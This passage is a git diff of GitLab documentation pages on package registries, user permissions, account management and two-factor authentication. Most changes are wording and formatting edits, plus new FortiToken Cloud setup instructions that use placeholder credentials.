you get this error, your package name may not meet the +[@scope:package-name package naming convention](#package-naming-convention). + +Ensure the name meets the convention exactly, including the case. +Then try to publish again. diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md index 2b61c4a6c28..bdf50ecef0b 100644 --- a/doc/user/packages/nuget_repository/index.md +++ b/doc/user/packages/nuget_repository/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # NuGet packages in the Package Registry @@ -181,7 +181,7 @@ nuget push <package_file> -Source <source_name> Prerequisite: -[A NuGet package created with .NET CLI](https://docs.microsoft.com/en-us/nuget/create-packages/creating-a-package-dotnet-cli). +- [A NuGet package created with .NET CLI](https://docs.microsoft.com/en-us/nuget/create-packages/creating-a-package-dotnet-cli). Publish a package by running this command: @@ -233,7 +233,7 @@ updated: ### Install a package with the NuGet CLI -CAUTION: **Warning:** +WARNING: By default, `nuget` checks the official source at `nuget.org` first. If you have a NuGet package in the Package Registry with the same name as a package at `nuget.org`, you must specify the source name to install the correct package. @@ -253,7 +253,7 @@ nuget install <package_id> -OutputDirectory <output_directory> \ ### Install a package with the .NET CLI -CAUTION: **Warning:** +WARNING: If you have a package in the Package Registry with the same name as a package at a different source, verify the order in which `dotnet` checks sources during install. This is defined in the `nuget.config` file. diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index 56fd4a02ba0..5876ef19ad9 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Package Registry @@ -33,20 +33,19 @@ CI/CD templates, which you can use to get started, are in [this repo](https://gi Learn more about using CI/CD to build: -- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd) -- [NPM packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) - [Composer packages](../composer_repository/index.md#publish-a-composer-package-by-using-cicd) -- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd) - [Conan packages](../conan_repository/index.md#publish-a-conan-package-by-using-cicd) - [Generic packages](../generic_packages/index.md#publish-a-generic-package-by-using-cicd) +- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd) +- [NPM packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd) +- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd) If you use CI/CD to build a package, extended activity information is displayed when you view the package details:  -When using Maven and NPM, you can view which pipeline published the package, and -the commit and user who triggered it. +You can view which pipeline published the package, and the commit and user who triggered it. However, the history is limited to five updates of a given package. ## Download a package @@ -95,4 +94,3 @@ The **Packages & Registries > Package Registry** entry is removed from the sideb Learn how to use the GitLab Package Registry to build your own custom package workflow. - [Use a project as a package registry](../workflows/project_registry.md) to publish all of your packages to one project. -- Publish multiple different packages from one [monorepo project](../workflows/monorepo.md). diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index 83b29d5f53a..e78224f89d1 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # PyPI packages in the Package Registry @@ -237,11 +237,11 @@ When publishing packages, note that: - The maximum allowed size is 50 MB. - You can't upload the same version of a package multiple times. If you try, - you'll receive the error `Validation failed: File name has already been taken`. + you receive the error `Validation failed: File name has already been taken`. ### Ensure your version string is valid -If your version string (for example, `0.0.1`) isn't valid, it will be rejected. +If your version string (for example, `0.0.1`) isn't valid, it gets rejected. GitLab uses the following regex to validate the version string. ```ruby diff --git a/doc/user/packages/workflows/monorepo.md b/doc/user/packages/workflows/monorepo.md index 1e375dffe7e..abba9df6ec2 100644 --- a/doc/user/packages/workflows/monorepo.md +++ b/doc/user/packages/workflows/monorepo.md @@ -1,120 +1,9 @@ --- -stage: Package -group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +redirect_to: '../npm_registry/index.md' +disqus_identifier: 'https://docs.gitlab.com/ee/user/packages/workflows/monorepo.html' --- -# Monorepo package management workflows +This document was moved to [another location](../npm_registry/index.md). -Oftentimes, one project or Git repository may contain multiple different -sub-projects or submodules that all get packaged and published individually. - -## Publishing different packages to the parent project - -The number and name of packages you can publish to one project is not limited. -You can accomplish this by setting up different configuration files for each -package. See the documentation for the package manager of your choice since -each has its own specific files and instructions to follow to publish -a given package. - -Here, we take a walk through how to do this with [NPM](../npm_registry/index.md). - -Let us say we have a project structure like so: - -```plaintext -MyProject/ - |- src/ - | |- components/ - | |- Foo/ - |- package.json -``` - -`MyProject` is the parent project, which contains a sub-project `Foo` in the -`components` directory. We would like to publish packages for both `MyProject` -as well as `Foo`. - -Following the instructions in the -[GitLab NPM registry documentation](../npm_registry/index.md), -publishing `MyProject` consists of modifying the `package.json` file with a -`publishConfig` section, as well as either modifying your local NPM configuration with -CLI commands like `npm config set`, or saving a `.npmrc` file in the root of the -project specifying these configuration settings. - -If you follow the instructions you can publish `MyProject` by running -`npm publish` from the root directory. - -Publishing `Foo` is almost exactly the same, you simply have to follow the steps -while in the `Foo` directory. `Foo` needs its own `package.json` file, -which can be added manually or using `npm init`. It also needs its own -configuration settings. Since you are publishing to the same place, if you -used `npm config set` to set the registry for the parent project, then no -additional setup is necessary. If you used a `.npmrc` file, you need an -additional `.npmrc` file in the `Foo` directory (be sure to add `.npmrc` files -to the `.gitignore` file or use environment variables in place of your access -tokens to prevent them from being exposed). It can be identical to the -one you used in `MyProject`. You can now run `npm publish` from the `Foo` -directory and you can publish `Foo` separately from `MyProject` - -A similar process could be followed for Conan packages, instead of dealing with -`.npmrc` and `package.json`, you just deal with `conanfile.py` in -multiple locations within the project. - -## Publishing to other projects - -A package is associated with a project on GitLab, but the package does not -need to be associated with the code in that project. Notice when configuring -NPM or Maven, you only use the `Project ID` to set the registry URL that the -package is to be uploaded to. If you set this to any project that you have -access to and update any other configuration similarly depending on the package type, -your packages are published to that project. This means you can publish -multiple packages to one project, even if their code does not exist in the same -place. See the [project registry workflow documentation](project_registry.md) -for more details. - -## CI workflows for automating packaging - -CI pipelines open an entire world of possibilities for dealing with the patterns -described in the previous sections. A common desire would be to publish -specific packages only if changes were made to those directories. - -Using the example project above, this `gitlab-ci.yml` file publishes -`Foo` anytime changes are made to the `Foo` directory on the `master` branch, -and publish `MyPackage` anytime changes are made to anywhere _except_ the `Foo` -directory on the `master` branch. - -```yaml -image: node:latest - -stages: - - build - -build-foo-package: - stage: build - variables: - PACKAGE: "Foo" - script: - - cd src/components/Foo - - echo "Building $PACKAGE" - - npm publish - only: - refs: - - master - - merge_requests - changes: - - "src/components/Foo/**/*" - -build-my-project-package: - stage: build - variables: - PACKAGE: "MyPackage" - script: - - echo "Building $PACKAGE" - - npm publish - only: - refs: - - master - - merge_requests - except: - changes: - - "src/components/Foo/**/*" -``` +<!-- This redirect file can be deleted after <2021-02-14>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md index a8972f05acd..aea1238b9da 100644 --- a/doc/user/packages/workflows/project_registry.md +++ b/doc/user/packages/workflows/project_registry.md @@ -1,98 +1,84 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project as a package registry +# Store all of your packages in one GitLab project -Using the features of the package registry, it is possible to use one project to store all of your packages. +You can store all of your packages in one project's Package Registry. Rather than using +a GitLab repository to store code, you can use the repository to store all your packages. +Then you can configure your remote repositories to point to the project in GitLab. -This guide mirrors the creation of [this package registry](https://gitlab.com/sabrams/my-package-registry). +You might want to do this because: -For the video version, see [Single Project Package Registry Demo](https://youtu.be/ui2nNBwN35c). - -## How does this work? - -You might be wondering "how is it possible to upload two packages from different codebases to the same project on GitLab?". - -It is easy to forget that a package on GitLab belongs to a project, but a project does not have to be a code repository. -The code used to build your packages can be stored anywhere - maybe it is another project on GitLab, or maybe a completely -different system altogether. All that matters is that when you configure your remote repositories for those packages, you -point them at the same project on GitLab. - -## Why would I do this? - -There are a few reasons you might want to publish all your packages to one project on GitLab: - -1. You want to publish your packages on GitLab, but to a project that is different from where your code is stored. -1. You would like to group packages together in ways that make sense for your usage (such as all NPM packages in one project, - all packages being used by a specific department in one project, or all private packages in one project) -1. You want to use one remote for all of your packages when installing them into other projects. -1. You would like to migrate your packages to a single place on GitLab from a third-party package registry and do not - want to worry about setting up separate projects for each package. -1. You want to have your CI pipelines build all of your packages to one project so the individual responsible for -validating packages can manage them all in one place. +- You want to publish your packages in GitLab, but to a different project from where your code is stored. +- You want to group packages together in one project. For example, you might want to put all NPM packages, + or all packages for a specific department, or all private packages in the same project. +- When you install packages for other projects, you want to use one remote. +- You want to migrate your packages from a third-party package registry to a single place in GitLab and do not + want to worry about setting up separate projects for each package. +- You want to have your CI/CD pipelines build all of your packages to one project, so the person responsible for + validating packages can manage them all in one place. ## Example walkthrough -There is no functionality specific to this feature. All we are doing is taking advantage of functionality available in each -of the package management systems to publish packages of different types to the same place. - -Let's take a look at how you might create a public place to hold all of your public packages. - -### Create a project - -First, create a new project on GitLab. It does not have to have any code or content. Make note of the project ID -displayed on the project overview page for use later in this process. - -### Create an access token +No functionality is specific to this feature. Instead, we're taking advantage of the functionality +of each package management system to publish different package types to the same place. -All of the package repositories available on the GitLab package registry are accessible using [GitLab personal access -tokens](../../profile/personal_access_tokens.md). +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> + Watch a video of how to add Maven, NPM, and Conan packages to [the same project](https://youtu.be/ui2nNBwN35c). +- [View an example project](https://gitlab.com/sabrams/my-package-registry/-/packages). -While using CI, you can alternatively use CI job tokens (`CI_JOB_TOKEN`) to authenticate. +## Store different package types in one GitLab project -### Configure your local project for the GitLab registry and upload +Let's take a look at how you might create a public place to hold all of your public packages. -There are many ways to use this feature. You can upload all types of packages to the same project, -split things up based on package type, or package visibility level. +1. Create a new project in GitLab. The project doesn't require any code or content. Note the project ID + that's displayed on the project overview page. +1. Create an access token. All package types in the Package Registry are accessible by using + [GitLab personal access tokens](../../profile/personal_access_tokens.md). + If you're using CI/CD, you can use CI job tokens (`CI_JOB_TOKEN`) to authenticate. +1. Configure your local project and publish the package. -The purpose of this tutorial is to demonstrate the root idea that one project can hold many unrelated -packages, and to allow you to discover the best way to use this functionality yourself. +You can upload all types of packages to the same project, or +split things up based on package type or package visibility level. -#### NPM +### NPM -If you are using NPM, this involves creating an `.npmrc` file and adding the appropriate URL for uploading packages -to your project using your project ID, then adding a section to your `package.json` file with a similar URL. +If you're using NPM, create an `.npmrc` file. Add the appropriate URL for publishing +packages to your project. Finally, add a section to your `package.json` file. -Follow -the instructions in the [GitLab NPM Registry documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After -you do this, you can push your NPM package to your project using `npm publish`, as described in the -[publishing packages](../npm_registry/index.md#publish-an-npm-package) section of the docs. +Follow the instructions in the +[GitLab NPM Registry documentation](../npm_registry/index.md#authenticate-to-the-package-registry). After +you do this, you can publish your NPM package to your project using `npm publish`, as described in the +[publishing packages](../npm_registry/index.md#publish-an-npm-package) section. -#### Maven +### Maven -If you are using Maven, this involves updating your `pom.xml` file with distribution sections, including the +If you are using Maven, you update your `pom.xml` file with distribution sections. These updates include the appropriate URL for your project, as described in the [GitLab Maven Repository documentation](../maven_repository/index.md#project-level-maven-endpoint). Then, you need to add a `settings.xml` file and [include your access token](../maven_repository/index.md#authenticate-with-a-personal-access-token-in-maven). -Now you can [deploy Maven packages](../maven_repository/index.md#publish-a-package) to your project. +Now you can [publish Maven packages](../maven_repository/index.md#publish-a-package) to your project. + +### Conan -#### Conan +For Conan, you need to add GitLab as a Conan registry remote. Follow the instructions in the +[GitLab Conan Repository docs](../conan_repository/index.md#add-the-package-registry-as-a-conan-remote). +Then, create your package using the plus-separated (`+`) project path as your Conan user. For example, +if your project is located at `https://gitlab.com/foo/bar/my-proj`, +[create your Conan package](../conan_repository/index.md) using `conan create . foo+bar+my-proj/channel`. +`channel` is your package channel (such as `stable` or `beta`). -For Conan, first you need to add GitLab as a Conan registry remote. Follow the instructions in the [GitLab Conan Repository docs](../conan_repository/index.md#add-the-package-registry-as-a-conan-remote) -to do so. Then, create your package using the plus-separated (`+`) project path as your Conan user. For example, -if your project is located at `https://gitlab.com/foo/bar/my-proj`, then you can [create your Conan package](../conan_repository/index.md) -using `conan create . foo+bar+my-proj/channel`, where `channel` is your package channel (such as `stable` or `beta`). After your package -is created, you are ready to [upload your package](../conan_repository/index.md#publish-a-conan-package) depending on your final package recipe. For example: +After you create your package, you're ready to [publish your package](../conan_repository/index.md#publish-a-conan-package), +depending on your final package recipe. For example: ```shell CONAN_LOGIN_USERNAME=<gitlab-username> CONAN_PASSWORD=<personal_access_token> conan upload MyPackage/1.0.0@foo+bar+my-proj/channel --all --remote=gitlab ``` -#### Composer - -It is currently not possible to publish a Composer package to a project that is different from where its code resides. +### All other package types -If you attempt to publish a Composer package to a different project, you get a `404 Branch Not Found` -or `404 Tag Not Found` error. +[All package types supported by GitLab](../index.md) can be published in +the same GitLab project. In previous releases, not all package types could +be published in the same project. diff --git a/doc/user/permissions.md b/doc/user/permissions.md index f1365ee1cab..0dd7d6f7696 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Permissions @@ -36,7 +36,7 @@ usernames. A GitLab administrator can configure the GitLab instance to ## Project members permissions -NOTE: **Note:** +NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, @@ -61,10 +61,11 @@ The following table depicts the various user permission levels in a project. | View wiki pages | ✓ | ✓ | ✓ | ✓ | ✓ | | See a list of jobs | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | | See a job log | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | +| See a job with [debug logging](../ci/variables/README.md#debug-logging) | | | ✓ | ✓ | ✓ | | Download and browse job artifacts | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | +| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ | | Create new issue | ✓ | ✓ | ✓ | ✓ | ✓ | | See related issues | ✓ | ✓ | ✓ | ✓ | ✓ | -| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ | | View [Releases](project/releases/index.md) | ✓ (*6*) | ✓ | ✓ | ✓ | ✓ | | View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -91,7 +92,13 @@ The following table depicts the various user permission levels in a project. | View Error Tracking list | | ✓ | ✓ | ✓ | ✓ | | Create new merge request | | ✓ | ✓ | ✓ | ✓ | | View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ | +| Archive/reopen requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | | Create/edit requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | +| Import requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | +| Create new [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | +| Archive [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | +| Move [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | +| Reopen [test case](../ci/test_cases/index.md) | | ✓ | ✓ | ✓ | ✓ | | Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ | | Publish [packages](packages/index.md) | | | ✓ | ✓ | ✓ | | Create/edit/delete a Cleanup policy | | | ✓ | ✓ | ✓ | @@ -159,9 +166,10 @@ The following table depicts the various user permission levels in a project. | Manage Terraform state | | | | ✓ | ✓ | | Manage license policy **(ULTIMATE)** | | | | ✓ | ✓ | | Edit comments (posted by any user) | | | | ✓ | ✓ | +| Reposition comments on images (posted by any user)|✓ (*11*) | ✓ (*11*) | ✓ (*11*) | ✓ | ✓ | | Manage Error Tracking | | | | ✓ | ✓ | | Delete wiki pages | | | | ✓ | ✓ | -| View project Audit Events | | | | ✓ | ✓ | +| View project Audit Events | | | ✓ (*12*) | ✓ | ✓ | | Manage [push rules](../push_rules/push_rules.md) | | | | ✓ | ✓ | | Manage [project access tokens](project/settings/project_access_tokens.md) **(CORE ONLY)** | | | | ✓ | ✓ | | Switch visibility level | | | | | ✓ | @@ -188,6 +196,8 @@ The following table depicts the various user permission levels in a project. 1. For information on eligible approvers for merge requests, see [Eligible approvers](project/merge_requests/merge_request_approvals.md#eligible-approvers). 1. Owner permission is only available at the group or personal namespace level (and for instance admins) and is inherited by its projects. +1. Applies only to comments on [Design Management](project/issues/design_management.md) designs. +1. Users can only view events based on their individual actions. ## Project features permissions @@ -233,7 +243,7 @@ read through the documentation on [permissions and access to confidential issues ## Group members permissions -NOTE: **Note:** +NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. Any user can remove themselves from a group, unless they are the last Owner of @@ -245,8 +255,8 @@ group. | Browse group | ✓ | ✓ | ✓ | ✓ | ✓ | | View group wiki pages **(PREMIUM)** | ✓ (6) | ✓ | ✓ | ✓ | ✓ | | View Insights charts **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | -| View group epic **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | -| Create/edit group epic **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | +| View group epic **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | +| Create/edit group epic **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | | Manage group labels | | ✓ | ✓ | ✓ | ✓ | | See a container registry | | ✓ | ✓ | ✓ | ✓ | | Pull [packages](packages/index.md) | | ✓ | ✓ | ✓ | ✓ | @@ -270,9 +280,9 @@ group. | Create/Delete group deploy tokens | | | | | ✓ | | Manage group members | | | | | ✓ | | Delete group | | | | | ✓ | -| Delete group epic **(ULTIMATE)** | | | | | ✓ | +| Delete group epic **(PREMIUM)** | | | | | ✓ | | Edit SAML SSO Billing **(SILVER ONLY)** | ✓ | ✓ | ✓ | ✓ | ✓ (4) | -| View group Audit Events | | | | | ✓ | +| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ | | Disable notification emails | | | | | ✓ | | View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ | | View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -281,6 +291,7 @@ group. | View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ | | View Billing **(FREE ONLY)** | | | | | ✓ (4) | | View Usage Quotas **(FREE ONLY)** | | | | | ✓ (4) | +| Filter members by 2FA status | | | | | ✓ | 1. Groups can be set to [allow either Owners or Owners and Maintainers to create subgroups](group/subgroups/index.md#creating-a-subgroup) @@ -291,6 +302,7 @@ group. 1. Does not apply to subgroups. 1. Developers can push commits to the default branch of a new project only if the [default branch protection](group/index.md#changing-the-default-branch-protection-of-a-group) is set to "Partially protected" or "Not protected". 1. In addition, if your group is public or internal, all users who can see the group can also see group wiki pages. +1. Users can only view events based on their individual actions. ### Subgroup permissions @@ -329,7 +341,7 @@ always take into account the [project's visibility and permissions settings](project/settings/index.md#sharing-and-permissions) as well as the permission level of the user. -NOTE: **Note:** +NOTE: External users still count towards a license seat. An administrator can flag a user as external by either of the following methods: @@ -358,7 +370,7 @@ and the ignore case flag is set (`/regex pattern/i`). Here are some examples: - Use `^(?:(?!\.ext@domain\.com).)*$\r?` to mark users with email addresses NOT including `.ext@domain.com` as internal. -CAUTION: **Warning:** +WARNING: Be aware that this regex could lead to a [regular expression denial of service (ReDoS) attack](https://en.wikipedia.org/wiki/ReDoS). @@ -376,7 +388,7 @@ project is internal or private, Guest users have all the abilities that are mentioned in the [permissions table above](#project-members-permissions) (they are unable to browse the project's repository, for example). -TIP: **Tip:** +NOTE: To prevent a guest user from creating projects, as an admin, you can edit the user's profile to mark the user as [external](#external-users). Beware though that even if a user is external, if they already have Reporter or @@ -405,6 +417,11 @@ automatically have access to projects and subgroups underneath. To support such Users with minimal access can list the group in the UI and through the API. However, they cannot see details such as projects or subgroups. They do not have access to the group's page or list any of its subgroups or projects. +### Minimal access users take license seats + +Users with even a "minimal access" role are counted against your number of license seats. This +requirement does not apply for [GitLab Gold/Ultimate](https://about.gitlab.com/pricing/) subscriptions. + ## Project features Project features like wiki and issues can be hidden from users depending on @@ -417,7 +434,7 @@ which visibility level you select on project settings. ## GitLab CI/CD permissions -NOTE: **Note:** +NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. GitLab CI/CD permissions rely on the role the user has in GitLab. There are four @@ -451,10 +468,10 @@ instance and project. In addition, all admins can use the admin interface under ### Job permissions -NOTE: **Note:** +NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. -NOTE: **Note:** +NOTE: GitLab 8.12 has a completely redesigned job permissions system. Read all about the [new model and its implications](project/new_ci_build_permissions_model.md). diff --git a/doc/user/profile/account/create_accounts.md b/doc/user/profile/account/create_accounts.md index cf5e4591a50..cdf80f722f7 100644 --- a/doc/user/profile/account/create_accounts.md +++ b/doc/user/profile/account/create_accounts.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Creating users **(CORE ONLY)** diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md index 637d740ab0f..e347221bd66 100644 --- a/doc/user/profile/account/delete_account.md +++ b/doc/user/profile/account/delete_account.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deleting a User account @@ -12,7 +12,7 @@ Users can be deleted from a GitLab instance, either by: - The user themselves. - An administrator. -NOTE: **Note:** +NOTE: Deleting a user will delete all projects in that user namespace. ## As a user @@ -35,7 +35,7 @@ As an administrator, you can delete a user account by: - **Delete user and contributions** to delete the user and their associated records. -DANGER: **Warning:** +WARNING: Using the **Delete user and contributions** option may result in removing more data than intended. Please see [associated records](#associated-records) below for additional details. diff --git a/doc/user/profile/account/index.md b/doc/user/profile/account/index.md index 56b6498e16c..b10cc778f45 100644 --- a/doc/user/profile/account/index.md +++ b/doc/user/profile/account/index.md @@ -3,3 +3,6 @@ redirect_to: '../index.md#profile-settings' --- This document was moved to [../index.md#profile-settings](../index.md#profile-settings). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index dacb6c3a5a7..c25535cbf65 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -2,14 +2,14 @@ type: howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Two-factor authentication Two-factor authentication (2FA) provides an additional level of security to your GitLab account. After being enabled, in addition to supplying your username and -password to sign in, you'll be prompted for a code generated by your one-time +password to sign in, you are prompted for a code generated by your one-time password authenticator (for example, a password manager on one of your devices). By enabling 2FA, the only way someone other than you can sign in to your account @@ -18,24 +18,25 @@ password secret. ## Overview -TIP: **Tip:** +NOTE: When you enable 2FA, don't forget to back up your [recovery codes](#recovery-codes)! In addition to time-based one time passwords (TOTP), GitLab supports U2F -(universal 2nd factor) and WebAuthn (experimental) devices as the second factor of authentication. Once -enabled, in addition to supplying your username and password to log in, you'll -be prompted to activate your U2F / WebAuthn device (usually by pressing a button on it), -and it will perform secure authentication on your behalf. +(universal 2nd factor) and WebAuthn (experimental) devices as the second factor +of authentication. After being enabled, in addition to supplying your username +and password to sign in, you're prompted to activate your U2F / WebAuthn device +(usually by pressing a button on it) which performs secure authentication on +your behalf. -It is highly recommended that you set up 2FA with both a -[one-time password authenticator](#one-time-password) or use [FortiAuthenticator](#one-time-password-via-fortiauthenticator) -and a [U2F device](#u2f-device) or a [WebAuthn device](#webauthn-device), so you can still access your account -if you lose your U2F / WebAuthn device. +It's highly recommended that you set up 2FA with both a [one-time password authenticator](#one-time-password) +or use [FortiAuthenticator](#one-time-password-via-fortiauthenticator) and a +[U2F device](#u2f-device) or a [WebAuthn device](#webauthn-device), so you can +still access your account if you lose your U2F / WebAuthn device. ## Enabling 2FA -There are multiple ways to enable two-factor authentication: via a one time password authenticator -or a U2F / WebAuthn device. +There are multiple ways to enable two-factor authentication: by using a one-time +password authenticator or a U2F / WebAuthn device. ### One-time password @@ -62,8 +63,8 @@ To enable 2FA: code** field. 1. Select **Submit**. -If the pin you entered was correct, you'll see a message indicating that -two-factor authentication has been enabled, and you'll be presented with a list +If the pin you entered was correct, a message displays indicating that +two-factor authentication has been enabled, and you're shown a list of [recovery codes](#recovery-codes). Be sure to download them and keep them in a safe place. @@ -77,7 +78,7 @@ You can use FortiAuthenticator as an OTP provider in GitLab. Users must exist in both FortiAuthenticator and GitLab with the exact same username, and users must have FortiToken configured in FortiAuthenticator. -You'll also need a username and access token for FortiAuthenticator. The +You need a username and access token for FortiAuthenticator. The `access_token` in the code samples shown below is the FortAuthenticator access key. To get the token, see the `REST API Solution Guide` at [`Fortinet Document Library`](https://docs.fortinet.com/document/fortiauthenticator/6.2.0/rest-api-solution-guide/158294/the-fortiauthenticator-api). @@ -141,6 +142,86 @@ to run the following command: Feature.enable(:forti_authenticator, User.find(<user ID>)) ``` +### One-time password via FortiToken Cloud + +> - Introduced in [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/212313). +> - It's deployed behind a feature flag, disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-fortitoken-cloud-integration). + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can use FortiToken Cloud as an OTP provider in GitLab. Users must exist in +both FortiToken Cloud and GitLab with the exact same username, and users must +have FortiToken configured in FortiToken Cloud. + +You'll also need a `client_id` and `client_secret` to configure FortiToken Cloud. +To get these, see the `REST API Guide` at +[`Fortinet Document Library`](https://docs.fortinet.com/document/fortitoken-cloud/20.4.d/rest-api). + +First configure FortiToken Cloud in GitLab. On your GitLab server: + +1. Open the configuration file. + + For Omnibus GitLab: + + ```shell + sudo editor /etc/gitlab/gitlab.rb + ``` + + For installations from source: + + ```shell + cd /home/git/gitlab + sudo -u git -H editor config/gitlab.yml + ``` + +1. Add the provider configuration: + + For Omnibus package: + + ```ruby + gitlab_rails['forti_token_cloud_enabled'] = true + gitlab_rails['forti_token_cloud_client_id'] = '<your_fortinet_cloud_client_id>' + gitlab_rails['forti_token_cloud_client_secret'] = '<your_fortinet_cloud_client_secret>' + ``` + + For installations from source: + + ```yaml + forti_token_cloud: + enabled: true + client_id: YOUR_FORTI_TOKEN_CLOUD_CLIENT_ID + client_secret: YOUR_FORTI_TOKEN_CLOUD_CLIENT_SECRET + ``` + +1. Save the configuration file. +1. [Reconfigure](../../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) + or [restart GitLab](../../../administration/restart_gitlab.md#installations-from-source) + for the changes to take effect if you installed GitLab via Omnibus or from + source respectively. + +#### Enable or disable FortiToken Cloud integration + +FortiToken Cloud integration is under development and not ready for production use. +It is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:forti_token_cloud, User.find(<user ID>)) +``` + +To disable it: + +```ruby +Feature.disable(:forti_token_cloud, User.find(<user ID>)) +``` + ### U2F device > Introduced in [GitLab 8.9](https://about.gitlab.com/blog/2016/06/22/gitlab-adds-support-for-u2f/). @@ -157,7 +238,7 @@ following desktop browsers: - Firefox 67+ - Opera -NOTE: **Note:** +NOTE: For Firefox 47-66, you can enable the FIDO U2F API in 